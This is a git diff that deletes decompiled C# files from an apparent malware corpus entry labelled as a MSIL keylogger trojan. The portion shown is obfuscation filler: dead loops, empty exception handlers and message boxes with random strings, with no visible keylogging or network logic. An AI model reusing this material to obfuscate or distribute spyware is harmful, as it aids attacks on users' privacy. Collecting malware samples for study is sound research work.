do - ; - while (false); - str1 = "OO846dntBi5T4RY8AF4"; - num5 = 5352L; - } - num5 = 67L; - } - num4 = 800609946M; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num4 = 791M; - while (true) - { - int num9 = (int) MessageBox.Show("‚'+%\u0081h<‡jx|L\u0090Zˆrb(ˆDo\u0081Hm(>ˆ-[`DJ‰a=M\u0081€ˆSO7mVZE„lt R†!A~!rP\u008Fcs.L)TQVN\u00903F=jdY]D>g:e\u0090A9pY(t‹‚(…-Qvpc~’Sx/ƒ‘D…cŒR+nuKb{PMf5Cp‰F.+S09€|ŒY"); - } - int num11 = (int) Interaction.MsgBox((object) "TV,Bˆ~‰/B\u007F4FY]iFB\u0090hou‚|u†„tJ+h15V7-DC+qJMa"); - checked { ++num7; } - } - checked { ++num6; } - } - while (num6 <= 4997739); - if (true) - { - int num12 = (int) Interaction.MsgBox((object) "q62589fMShJoC7nr"); - } - } - if (true) - { - int num13 = (int) Interaction.MsgBox((object) "sVGs"); - } - } - - public void O1hQ6KT0rtW7Idf6ZbST() - { - bool flag = false; - if (false) - { - flag = false; - flag = false; - while (true) - { - int num1 = 7550049; - while (num1 <= 624127) - checked { ++num1; } - while (true) - { - while (true) - { - while (false) - ; - if (true) - { - if (false) - { - flag = true; - if (true) - ; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - if (false) - ; - flag = true; - ProjectData.ClearProjectError(); - } - flag = true; - } - while (true) - { - flag = false; - int num2 = (int) MessageBox.Show("Bdhl\\t\u007F08x3‰M\u007FW~n,z5SY„VOFUGtW|5oh7>0r-!|iOh N4@’‰R.Q |rf7-MI{WAItq7?`]Ml3jƒTLT!14G~$nvn~Wj‹dr"); - while (true) - { - flag = false; - if (true) - ; - while (false) - ; - } - } - while (false) - { - if (true) - ; - } - do - ; - while (true); - if (true) - ; - } - } - int num3 = 16872; - do - { - checked { ++num3; } - } - while (num3 <= 274499774); - if (true) - { - int num4 = (int) Interaction.MsgBox((object) "n55"); - } - } - } - } - int num = (int) Interaction.MsgBox((object) "D\u008DvU:jQm{`uboLqCVx0"); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/b0k7z5c574A4Hx43I4Q.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/b0k7z5c574A4Hx43I4Q.cs deleted file mode 100644 index 556674a6..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/b0k7z5c574A4Hx43I4Q.cs +++ /dev/null @@ -1,385 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.b0k7z5c574A4Hx43I4Q -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Windows.Forms; - -namespace Q -{ - [StandardModule] - internal sealed class b0k7z5c574A4Hx43I4Q - { - private static void y1u9IonsPE81OiKBh1() - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = 477; - while (num <= 92) - { - while (true) - ; - checked { ++num; } - } - ProjectData.ClearProjectError(); - } - if (false) - ; - if (true) - { - int num1 = (int) Interaction.MsgBox((object) "x2EKB776p4"); - } - } - - private static object KDrYT99XUGJ() - { - double num1 = 30.0; - double num2 = 6.0; - int num3 = 1608505; - do - { - checked { ++num3; } - } - while (num3 <= 878208518); - num2 = 2.0; - double num4 = 4351.0; - bool flag = true; - double num5 = 93.0; - long num6 = 467; - Decimal num7 = 99M; - long num8 = 4; - Decimal num9 = 7661538M; - long num10 = 713; - while (true) - { - while (true) - { - while (false) - num7 = 277105M; - int num11 = (int) MessageBox.Show("FWa9+cGK+2uHnpe&Shuf\u0090Z„h{/gF…h\u007Fu,D9‘#nPx_;2{wƒ^ŠFo>A-$†~eŒP\u008F\u008F YVF ;JVgx8\u0090'tH)„‹do 6J^g'QNK)>S{^unUvg3TrlX(0\u00901U\\(XJ@ B+zL3Œ(;ŒZw4[’lf-DP:A\\„UV*@‹\u0081!y([^RbnJS:LVs‘D\u008FT1{ˆ\u008D3\u008D%qx:"); - num6 = 764248L; - } - if (true) - ; - num10 = 95914L; - } - num4 = 82.0; - num2 = 660322070.0; - long num12 = 1; - while (false) - { - num4 = 660.0; - flag = true; - while (false) - { - num5 = 8913.0; - flag = false; - num6 = 5L; - if (true) - flag = false; - num9 = 28031981M; - while (false) - { - num7 = 6365803M; - int num13 = (int) MessageBox.Show("M01V+Fqu :C.a==,O*\u0090GYA\u008F?tF9BS8aP=+ŽŒF‰]AFumF!}LF…3g`uBDUTt]w-OAzk†„UACxY_o vgh>‰Œ…O@d n\u008DzYWeLy4ŠS…m.ŒŠ$aM-!%Aa€\u007FVf~:’!6j8‰n{~3-y[)Bu\u008D0\u0090\u0081€"); - } - } - while (true) - { - num10 = 8L; - num6 = 943620443L; - flag = false; - while (true) - { - num7 = 7M; - int num14 = 1; - do - { - num9 = 8496M; - num7 = 1M; - while (false) - { - num9 = 113552630M; - num7 = 79M; - flag = false; - num9 = 729836166M; - num5 = 9337026.0; - while (false) - { - num8 = 50L; - num8 = 3757L; - num5 = 59797955.0; - } - num7 = 347M; - while (true) - { - num9 = 2M; - while (false) - { - num1 = 20.0; - int num15 = (int) MessageBox.Show("7Oh*z`dˆ.$8a†.OGO#UŒIB‡cq7xrsNG/E>a\u008F}/ƒy$- ~'BQn\u00819=_Uj\u008D‡[%Kcz„4rp);g"); - int num16 = (int) MessageBox.Show("Q‰‘B|+Z€5(†Jw_’\u0081_=b2wL5*qPsŠR‚rBAHevjŠJ`Aƒ^ @V|2ajK-Oy:ˆg {OU0c#kT=j;|KC8T€†\u00815|;gaIzWe†[.p/i.\u008D+1@[H\u007F92Šw?(ˆŽ‹F&R7`{‡y{_%au[^lu4=IofE\u007F\u0090!Uid[N"); - if (false) - ; - } - num9 = 437992M; - } - } - checked { ++num14; } - } - while (num14 <= 95); - flag = false; - } - while (true) - { - int num17 = 4294; - while (num17 <= 842) - { - flag = true; - while (false) - { - while (false) - num7 = 0M; - flag = false; - num6 = 5495L; - flag = true; - if (true) - { - int num18 = (int) MessageBox.Show("Bgg8NSE~yS]tŽG†pX|\u007FZ{ \u007F`Gh\\\u008D#;VA,zLBŒ"); - num8 = 16952991L; - num12 = 49480933L; - } - while (false) - { - num8 = 751687L; - num5 = 0.0; - num8 = 899555L; - if (false) - ; - num6 = 2L; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num19 = (int) MessageBox.Show("3[GzH{ˆ)U1MWRG}‘‘!ƒŒti&C\u008DYm,iR%_qWo&‘KŠ}b-I%H€Ev^$‹sƒk5\\T$\u007F\u0081.{R#+€xŽjw f)&Jf? \u008D-4ŠaeYDn&B2d\u008D_(nynFŒZ(J+z$Ei}Aa=T)rm7:\u007F\\z2rlW2%' Kc‹Œ&S$|~ya3m„wsˆ0ƒ\u007FNW^\u0081}2HIqgh‘>iQqiCNimƒKT>H,@\u008DŒa!5:e"); - ProjectData.ClearProjectError(); - } - if (false) - { - int num20 = (int) Interaction.MsgBox((object) "cDxL"); - } - } - if (true) - { - int num21 = (int) Interaction.MsgBox((object) "TP0O"); - } - } - checked { ++num17; } - } - } - if (true) - { - int num22 = (int) Interaction.MsgBox((object) "SU702xI970"); - } - } - } - int num23 = (int) Interaction.MsgBox((object) "7‹‡#0mYˆb6RGˆ# Q‡> e[Bc&o"); - return (object) 7; - } - - private static object V6056U8lM9PZt533CB5() - { - while (true) - { - if (false) - ; - while (false) - { - while (false) - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - if (true) - { - int num1 = (int) MessageBox.Show("R_icUFWQGHO~4N#\\!Ms2ug\u008FSimL‹I][†}n’Zƒ9\u007FL*‹:'x`\u0090SBq|"); - } - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - while (true) - { - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - int num2 = 5933266; - while (num2 <= 85) - checked { ++num2; } - while (true) - ; - try - { - } - catch (Exception ex4) - { - ProjectData.SetProjectError(ex4); - ProjectData.ClearProjectError(); - } - int num3 = (int) MessageBox.Show("YO]$wIV/Žx‡8‚(Q[0CyFL:2f\u008D}‚X\\BU6Ž{‹M‡%H6_\u0081_V#+=\u0090bTu‰’<\u0090?=Š*ŒY\u0090elCq=&/$g+\u008Dby]mnb"); - ProjectData.ClearProjectError(); - } - } - if (false) - { - int num4 = (int) Interaction.MsgBox((object) "rZ45XI1564logq"); - } - ProjectData.ClearProjectError(); - } - if (true) - { - int num5 = (int) Interaction.MsgBox((object) "nAaf52bq"); - } - ProjectData.ClearProjectError(); - } - int num = (int) Interaction.MsgBox((object) "Q]~qc’+SrNkqQ3>\u0090:=Y_X‘V{Me:)\u0090(\u0090D7(…p^`}ŽiZg‹’Ax UFj0\u007FS‹^G‰6M„IuEmM}HA`QlR^ˆ‘I]{+€:giQ\u007FWv/FHhIP)?wA>eVPq‡ˆ\u0090pA^\u008D5}.*_ju+‡\u0081ˆ'8Ž7|CUh9(?6hO[rsS/6840^Y>ƒR]kMPoO7vo,ln€‰s-]ŠU/.LSqr\u0081$}kB%1!*`n‚Y98xhyTIAS#!"); - } - } - int num6 = (int) Interaction.MsgBox((object) " b1L)K,.:†p]‡b„\\!‹ZE\u007F)C4Dbnfu)tToˆkVnety~N;L‡|<\u0090‹QYex/zŠ>\u008F'YpXK12;€‘ŠM\u0081N7tYP€‰@[FqnDb/o_-t8q^:(E,:lŽ=&]b*M#hJ)Ho^3’}'b#^Aƒ55/ƒ"); - } - return (object) 2811; - } - - public static object T6bd467wZ() - { - do - ; - while (false); - double num1 = 58.0; - while (true) - ; - int num2 = 5; - while (num2 <= 0) - { - num1 = 3299953.0; - int num3 = 620957196; - while (num3 <= 371790) - checked { ++num3; } - if (true) - { - int num4 = (int) Interaction.MsgBox((object) "hXGtX"); - } - checked { ++num2; } - } - return (object) 0; - } - - public static object L7QUU63Jk68Le9() - { - Decimal num1 = 5716M; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num2 = (int) MessageBox.Show("\u007FgS\u008FaT-.5:g‚4=h0FIl„{vŠg&rbAg9f$‡Cw‚\u008FJB):.Pm.39† ni:Œwg)p~ˆ\u0081…~YŽgb\u008D„Xy4Ž&bilE1=}#.€I4@=B^>U$x\u007F3'ŒZ\u008F\\ƒZ=tJ1Š1ƒ"); - num4 = 1.0; - num7 = 3M; - num8 = 55; - num10 = 262M; - num7 = 877M; - num9 = 4M; - if (false) - ; - str = "G5A2E9kgMgt1242924lJbBNDp842wxLxwIb6e5sK72vIS61Xiey41sm723fq7TA292XAOek7F5Wj9q9VD6lwYX3JJ8HBofkDN2dPbgnm0lL9R"; - num8 = 685; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - int num13 = (int) MessageBox.Show("6Op\u0081‰‹€\u008D\u008F[€!\u008D,HOˆg;8Rsˆ2+x‹.].8ew€}/}&kˆN[\u0090u€\u007F*…qk4#oN…UZ]v1 qO€B:<-A9"); - ProjectData.ClearProjectError(); - } - if (true) - { - str = "XyqHx1Lp5bBp7fm2xI15OlVs648dt6B04gH8x7ydQu4sZ1IH4sJk80WqWraMX3oilEu7C9ikd367Zic4Nr3N7lI7O33y34OdI19dJaIwXVN8N4rjhWt37h430gn7uI130xQKR5M55hD9mWouAY8F9Wkb5klWRqJ4CcZzLh9a20ZO42R5Um485BT1M0sg9"; - str = "wDwLcM2fp88Nj9E55d84g2yoyPx650EEnj4p4rX31j0Y8dVFN1A9r0zu3BuIsv3zFpUYP2Bvqs2iM5z0W2x9C00JSj8YgqNhxKFl5rpfivqIxfc74y6AAkna1UP97"; - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - num5 = 9500.0; - int num14 = 841; - do - { - checked { ++num14; } - } - while (num14 <= 3832598); - while (true) - { - int num15 = (int) MessageBox.Show("\u0081Š~\\‘0d‘1#g0s@4RB0R0MŒx3qHRg087~#tŠP;=#!||p9:t…‡Š~>b7YJ‡1j~hq\u0090\u0081Œ\u007F|-‘Hw7%,PGc<^Œ\u008FU]oE\u008Dgg]J#>cQMB\u007FŽwMQg†_3f8Vy2ykfq\u008133@\\‘75bgEXgfq-[hW1[Gb‘\\rt1€JdKk„c:.^Qy"); - num1 = 41M; - } - ProjectData.ClearProjectError(); - } - } - if (true) - { - int num16 = (int) Interaction.MsgBox((object) "T7KSfRQ7"); - } - ProjectData.ClearProjectError(); - } - return (object) 38; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/blg20Q73EhiWk8fVKc2sVEu83TznP.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/blg20Q73EhiWk8fVKc2sVEu83TznP.cs deleted file mode 100644 index 232b50d6..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/blg20Q73EhiWk8fVKc2sVEu83TznP.cs +++ /dev/null @@ -1,303 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.blg20Q73EhiWk8fVKc2sVEu83TznP -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Q -{ - internal class blg20Q73EhiWk8fVKc2sVEu83TznP - { - [DebuggerNonUserCode] - public blg20Q73EhiWk8fVKc2sVEu83TznP() - { - } - - private object At2jQ() - { - int num1 = (int) MessageBox.Show("y8‚R{ZŽ$:)[>'ˆ+*L^>/3HQ09^Z2h?/"); - int num2 = (int) MessageBox.Show("10'YU’Pn: ZFP^fW(L‘eƒQAaŽT„d|LK8NfŒ\u008DD%|0vl60r7)f|&Xƒ!Qs\u0081Y]!-~„€g"); - int num3 = (int) MessageBox.Show("#c\u0081‚6:0\u0081vJ>a!E…GL59+~Z{#Š{H\\P??Ki#ˆ4:Xq"); - int num4 = (int) MessageBox.Show("=ƒ[t\u008D^gJ`G[{~ŠN…gQW+<8JB\u0090E:\u008DtM3s24mŠ€zUsjj|B[,6:\u007Fe)9B]e$X8whCmi23zij=V%\u007FŽvTdN(zƒ. ..CŒQgahRg#€P\u0090!j.sV_\u008FI`=>_) iOQ†ZC^Z\u00819I!(h#P|.FVcw\u008D&La#wa&n„^`‘8/F,QZ{‡IUVGE/T/9eP…UJZ‹@"); - bool flag = true; - if (true) - ; - Decimal num5 = 8M; - long num6 = 0; - double num7 = 760723591.0; - while (true) - { - while (false) - num7 = 1.0; - } - double num8 = 1.0; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (false) - { - if (true) - ; - num8 = 468700111.0; - flag = false; - } - while (true) - { - num6 = 648L; - num7 = 0.0; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - int num9 = 27934; - while (num9 <= 830) - { - flag = true; - if (false) - { - if (true) - ; -label_30: - if (true) - { - int num10 = 10; - do - { - while (false) - flag = true; - while (false) - ; - num8 = 798884.0; - num8 = 28448027.0; - int num11 = (int) MessageBox.Show("ŠI[T2`…4!QH*t]`1‚yW†’x$_=PXhŽg8S‘{„Fve:@<"); - checked { ++num10; } - } - while (num10 <= 676175892); - goto label_30; - } - } - int num12 = (int) MessageBox.Show("„N,*SE|%A^‹Ydr\u008F*,‚WBŽ6!V|k;Xy3CUg€‘O…j8z€_ƒ@[eŠ%€ƒ^z$B…nLiAz*D>.:V„vt`7UioUNEtŽ7t6j‰g\\PEŽC>HQp[@u%$s3D@k)0H€VIkn*%†mHYq&_{Q]Ž,8‘Œ-bn‰V`„I=^K'XWŒJa>K}\u0081‹3‚`|u‘wŒ`O%x=JRE@')vZl!'„:+@\\CJPƒ)&|*xZ+"); - checked { ++num9; } - } - ProjectData.ClearProjectError(); - } - int num18 = (int) Interaction.MsgBox((object) "5Œp=0*D‹U&9„b.\u0081NGŽ\u008F%„[>€Kw\\B\u0090ˆjEZRHƒŠYb@#WM6/#3C%GV…:R„mnƒ„KaŽ_O†J/x\u0090V€Ln!M-'pHd8=hQw*'`n5'h6r![\u0081z;l#]'„iY^PW_g3\\zIwE.j{Bb*{O85\u008F „??Uo`m5w{=^i).a‡+OI<5"); - } - ProjectData.ClearProjectError(); - } - int num19 = (int) Interaction.MsgBox((object) "lYŽ:Z-xfvo_0G+9‰AKŒ\u008F9V\u0081:6=5mngMu6pŽX$\u008DB^Žm‰s6nZ.Tj?\u008DT@S/"); - return (object) 7055475; - } - - public void p0Evd8baoAtFI() - { - int num1 = 50245392; - while (false) - { - if (false) - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num2 = (int) MessageBox.Show(">‰nOvAfe?‘c39:4m„/pILf1<=’q9iu/M1fJq>RNEO\u0090l’~{w_eU€eŒ\u0090„B]2YBˆKi;TyƒcƒUNQs"); - while (false) - ; - ProjectData.ClearProjectError(); - } - if (true) - ; - if (false) - ; - num1 = 75368810; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - do - ; - while (false); -label_36: - if (false) - { - if (true) - ; - if (false) - { - num1 = 54401; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - num1 = 68; - while (false) - num1 = 149981081; - num1 = 704396; - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - ProjectData.ClearProjectError(); - } - } - int num3 = 4018421; - do - { - do - ; - while (false); - int num4 = (int) Interaction.MsgBox((object) "g.c6~‰9~x?pCodamS@8y€XtF\u007F&&9,_zv†"); - checked { ++num3; } - } - while (num3 <= 4618744); - goto label_36; - } - else - ProjectData.ClearProjectError(); - } - } - } - int num5 = (int) Interaction.MsgBox((object) ".Š2=qY6Jˆu?‰NMsFSmCJuuˆ0zO~.Žy:Œ9n\u008DY\\9yS7*8wBKmo>Ji>{aODw.VAm'O/ZFosR9|:†ƒ2j]0\u0081Nu.‚c/\u008F1k?htNuXx/n)=\u008Fn\u008D<$`NKŠNwzg?'_^7~’^5$T|WMWM+#\u008FT†„rz…~#t"); - } - - public object N1R28S6le9() - { - int num1 = 92761654; - while (num1 <= 979298) - checked { ++num1; } - long num2 = 9; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - if (true) - ; - if (false) - ; - if (false && false) - { - if (true) - { - int num3 = (int) MessageBox.Show("\u008D„Lˆcx\u0081‰hef\u008Fxo1Bp`‹0,z|,xG†U}/Hz%DysnNcix‡‹\\J{VmVs @~\\H2(@/<„K,X<\u007F‰TˆQgB\u008FBJ8‚?u\u0090„9’)/(Ž\\ŽfjM>GwM"); - if (true) - ; - num2 = 6344L; - int num4 = 4; - do - { - if (false) - ; - while (false) - { - while (true) - { - while (false) - num2 = 1L; - } - if (false) - { - int num5 = 847; - while (num5 <= 826) - checked { ++num5; } - } - int num6 = (int) Interaction.MsgBox((object) "‹L…5@06'Uc($[tS‘'\\2‰QIa&iUd0sRFdV=‡KH-u'e\u0081~"); - } - if (true) - { - int num7 = (int) Interaction.MsgBox((object) "r9n58vba"); - } - checked { ++num4; } - } - while (num4 <= 96); - } - int num8 = (int) Interaction.MsgBox((object) "#eH,\u008FZE_[aŠ[_Z{†wt=Zk%†7M63#N:…BhCP‡JdvZ[.J‚av'u\\%emux‘r1rxFB1YI$9Š7K’L/Z 0Š[G~S,@…\u008Fe7_ƒE"); - } - ProjectData.ClearProjectError(); - } - return (object) 16987348; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/c77XF9eDZOuzFF8f5q1bJV.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/c77XF9eDZOuzFF8f5q1bJV.cs deleted file mode 100644 index 8f1ed3a1..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/c77XF9eDZOuzFF8f5q1bJV.cs +++ /dev/null @@ -1,325 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.c77XF9eDZOuzFF8f5q1bJV -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Q -{ - internal class c77XF9eDZOuzFF8f5q1bJV - { - [DebuggerNonUserCode] - public c77XF9eDZOuzFF8f5q1bJV() - { - } - - public object NSX7Tx4uF() - { - double num1 = 38141.0; - double num2 = 4922.0; - if (true) - ; - long num3 = 1; - int num4 = 888525486; - while (true) - { - if (false) - ; - num4 = 23581219; - if (false) - num4 = 55; - int num5 = 6471; - do - { - num4 = 637958; - while (false) - { - int num6 = 2593240; - while (num6 <= 12) - { - while (false) - { - if (false) - ; - num2 = 0.0; - } - int num7 = (int) MessageBox.Show("{Sj7m%yƒ%{ƒoNjm:'B†||Imvz;zCq’l;?\\75s~€r8O‰~4!C^€‹}\u007Fƒ|*Rx†OQ>U2%.gP„SXY;T4dLR\u0081ayŠ;Ux5€KVQxO€NNTu=ƒp_dQ+HRaJo8q’ŠEiY’LƒA<ŒSn(l\u007F&r\u0081.b0!5Y0-FfUo=sxXZx‡Qu„’OCj‘P@xtD\u008FJbOyCS „…%<\u007F`osˆb1"); - num4 = 0; - num2 = 9298704.0; - checked { ++num6; } - } - } - if (true) - ; - num3 = 5051L; - num4 = 24500; - num4 = 113737404; - checked { ++num5; } - } - while (num5 <= 3300454); - num4 = 680070162; - } - int num8 = 1663; - string str = "‚’fu0‘Œ*?†syQvc`I,yŽ'^ \u008Fn2C‡Vt†'Œ@ˆT B€~Š 7Œ.Ro^LŒdMaHzSexU~h6|"; - Decimal num9 = 2M; - bool flag = true; - num9 = 0M; - if (true) - { - while (true) - ; - flag = false; - num4 = 7790; - } - Decimal num10 = 0M; - str = "V6vjoz6fzSeG0UwDehD9Y2dQkIuXq455muEMCmB84Z75Q5nM30glPHO48iz79loN1xRS71lp2oWZbPdTtaUGssSHbd"; - while (false) - { - str = "s50nBxjr7Aq7IYk8Q9cf"; - num1 = 0.0; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - if (true) - { - int num11 = (int) MessageBox.Show(",Šp4n††zD9`L8O"); - flag = false; - } - if (true) - ; - str = "X582Lc59idrDexjeTL974X2xyw5lt8u7F9KKuZkhnROPV10d45p19cQFsYb433xmdYu011FN524r3a2zwfb61IQSGzEzoEXOuhbU1sicZ553R85w540ZUC9dDE69IWh3q8xA0xsjP7i27q3v7bVf0xYh67g2qUmMqSPFM307F2wP1l75Wq7Cp1oPkgtNm0Vh2Di5W8C"; - num10 = 22554696M; - if (false) - { - num4 = 0; - num1 = 60695.0; - int num12 = 45; - do - { - while (false) - { - while (true) - num8 = 24172; - int num13 = (int) MessageBox.Show("'\u007Fy;Kx;ŽS(}KpIKSD-7?h)‘2\u007FmŽ|ˆw$['N)n’~F/„H>d€ni‚mEcYEJ\u0090\u0090€gOq}R&o#ADA@pTXz(N?~MD0#+/b3^5oP+\u0081JNhEQAb`_JGb\u008F„*q=Žp1SC?mqBV[X+h„4"); - } - num4 = 927112401; - checked { ++num12; } - } - while (num12 <= 8309138); - if (false) - { - int num14 = (int) Interaction.MsgBox((object) "md0n76n1Ur"); - } - } - ProjectData.ClearProjectError(); - } - int num15 = (int) Interaction.MsgBox((object) "7/$ˆ(?Pt’%z\\g\u008DR"); - } - return (object) 5735416; - } - - public void H3R0jO8M0Wk1E4g8PaW3() - { - long num1 = 23357; - if (false) - ; - num1 = 496L; - num1 = 2L; - Decimal num2 = 393810689M; - while (true) - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num2 = 791M; - while (false) - { - while (false) - { - while (false) - { - if (true) - ; - } - } - } - ProjectData.ClearProjectError(); - } - if (true) - { - int num3 = (int) Interaction.MsgBox((object) "ex4AgEaM"); - } - } - if (false) - { - int num4 = (int) Interaction.MsgBox((object) "wQ6k6gSUjK"); - } - } - - private object fHXm7() - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Decimal num1 = 238M; - string str1 = "XEi //hn9Cc~^\u008D?|Mj_!J_#:$%8Aa}|!ˆk„-OD9k/‘[€5<ŽeV€‘ GV2‹BO\u008F)ŠF,OZaˆ†(1M)Q†…K#6%z*f~t~{mRX‹~ G/t{…,EfG'\\DRˆ"; - while (false) - { - num1 = 160M; - while (false) - { - int num2 = (int) MessageBox.Show("+fva0t}‘N=rbIpZ;uŠ‹GP&VqQ46=R\u0081,$;\u008FAKBd0_oAa‘92f]Z\u007FŠbu@?$0%0\u008F^__`0mFLN/Œ0zKk.XXW>alve‰]BŽp<:js\u0081(K:‡LFGr:d4.c%$X'fsO’tXF\u0090fY''"); - } - int num8 = (int) Interaction.MsgBox((object) "M‚HF1xn@#8l‰d\u007Fq‘2Z'uŠ{zl\\‹4d#>†t#Da\u0081,Š…sLEp7E~‡Y>hG_ n}e(o}8d)=xDŠ…?=‚„:gGId+bFp$mEN‰GtGZ\u008FyP,m.B(Š†NŒg;Ow-‹kD8YXH-4Šw\u0081‚\u008F6]xA)S-\u008D9'[3o‹wOQ‰j{N(#AUA'’X"); - } - if (false) - { - int num9 = (int) Interaction.MsgBox((object) "K9IZg34tvBdm7dahU3"); - } - } - } - - private object qsd2elFuXDba1iG6() - { - string str1 = "T\\‘X…dZ„_-Q)‡_G’e!~t1XCu2Šx-=nbWh->WI'%ŽYŒM$Y‘Ml&V-xCM\u0081x€{@6IŠe‘%/‘b’Z;Œxxk_h<<4]+&z`}4;>Xj`z‚eaFN’I’~l^:4’]tA0c_+l=„~P:ŽvCY‚n1‰3*99=…5qQZ_L~iY\u008FH' n6Hp[‘w"); - num1 = 6M; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - num1 = 1618M; - num1 = 2M; - while (false) - { - str1 = "G0tW432iYc1X5oJ8Z5grKsI4BhK0YVsn9Uz9RP258F38SPVI91X3M4jYP4kiI724s8RY94grin74Q8EaoQmkBme91i3p3r47Y8UX0VJC903h4298WMc0MpTlk7t0n787kiN6XI7FJ5Xn18BExRBV3n6wQq35Acwd87oAA6W30plDRf1VM85SqzcDAPT3"; - int num5 = (int) MessageBox.Show("‰~F‘|!hƒ4ˆZ7nƒ‘|Œ9d+Y[‘j\u007Ff`;yE=7’V|z@\\3^TD\u008DA[,ŠPy…PP$WIM€o15SL*‚kC78&7[P%%i4`p/so0U†‡\u007F3Z,N\u008DdJ\u0090*(:+h8‡qIaJ J‘\u00815\u007F0_QYC‰6Ž\u007F/p+k<‰&(Ža\u008DU'‰\u007F\u0090y†\\†T5lŠa}%ŒVy1#0|)7fqES\u008DB#?:J(hd\\\\#"); - } - int num6 = 8892480; - while (num6 <= 9) - { - num2 = 9499862L; - if (false) - { - int num7 = 8418; - do - { - if (true) - ; - num2 = 14L; - checked { ++num7; } - } - while (num7 <= 821042); - num2 = 0L; - num1 = 588971257M; - if (true) - ; - num1 = 437M; - num1 = 4M; - num2 = 10L; - while (true) - { - num2 = 97L; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - while (false) - { - while (false) - { - num1 = 4521865M; - num2 = 582325L; - if (false) - ; - num2 = 5L; - num1 = 5M; - num1 = 3470M; - int num8 = (int) MessageBox.Show("MPL…e|€X…*Ž|S4rm5c;v#}]adSKzO‰4c/Vl‚ZŽ[k\u0090†LN7o{ExO\u007F2U„Ac†~A2Q&(Ž‰Km\u008FZƒ"); - num1 = 4864M; - int num9 = 5911; - do - { - while (false) - ; - 